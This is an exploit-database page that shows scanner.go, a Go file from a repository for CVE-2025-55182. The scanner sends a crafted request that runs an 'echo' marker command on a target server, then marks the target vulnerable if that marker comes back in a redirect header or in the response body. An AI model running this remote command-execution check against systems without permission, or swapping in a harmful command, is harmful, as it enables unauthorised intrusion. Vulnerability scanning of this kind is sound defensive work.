Exploit databaseDownload repository ZIP
GH-85611a99005868f0176f5dbf39aa5f38
0xsj/cve-2025-55182
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
0xsj/cve-2025-55182Revision 5bf32583b448
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
internal/scanner/scanner.go
Go · 2,488 bytespackage scanner
import (
"fmt"
"io"
"net/url"
"regexp"
"strings"
"time"
"github.com/0xsj/CVE-2025-55182/internal/types"
)
const testCommand = "echo __R2S_VULN_CHECK__"
var redirectPattern = regexp.MustCompile(`/login\?a=([^;]+)`)
// Scanner handles vulnerability scanning
type Scanner struct {
client *Client
}
// NewScanner creates a new Scanner instance
func NewScanner(timeoutSeconds int) *Scanner {
return &Scanner{
client: NewClient(timeoutSeconds),
}
}
// Scan checks a single target for CVE-2025-55182 vulnerability
func (s *Scanner) Scan(target string) types.ScanResult {
result := types.ScanResult{
Target: target,
ScannedAt: time.Now(),
}
start := time.Now()
normalized, err := normalizeURL(target)
if err != nil {
result.Status = types.StatusError
result.ErrorMessage = fmt.Sprintf("invalid URL: %v", err)
result.Duration = time.Since(start)
return result
}
result.Target = normalized
body, contentType := GeneratePayload(testCommand)
resp, err := s.client.DoRequest(normalized, body, contentType)
result.Duration = time.Since(start)
if err != nil {
result.Status = types.StatusError
result.ErrorMessage = err.Error()
return result
}
defer resp.Body.Close()
result.StatusCode = resp.StatusCode
redirect := resp.Header.Get("X-Action-Redirect")
if matches := redirectPattern.FindStringSubmatch(redirect); len(matches) >= 2 {
decoded, _ := url.QueryUnescape(matches[1])
if strings.Contains(decoded, "__R2S_VULN_CHECK__") {
result.Status = types.StatusVulnerable
result.Evidence = fmt.Sprintf("X-Action-Redirect: %s", redirect)
return result
}
}
// Check response body as fallback
bodyBytes, _ := io.ReadAll(resp.Body)
if strings.Contains(string(bodyBytes), "__R2S_VULN_CHECK__") {
result.Status = types.StatusVulnerable
result.Evidence = "Response body contained test marker"
return result
}
result.Status = types.StatusSafe
return result
}
// normalizeURL ensures the URL has a scheme and trailing slash
func normalizeURL(target string) (string, error) {
target = strings.TrimSpace(target)
if target == "" {
return "", fmt.Errorf("empty URL")
}
if !strings.HasPrefix(target, "http://") && !strings.HasPrefix(target, "https://") {
target = "https://" + target
}
parsed, err := url.Parse(target)
if err != nil {
return "", err
}
if parsed.Host == "" {
return "", fmt.Errorf("missing host")
}
target = strings.TrimSuffix(target, "/") + "/"
return target, nil
}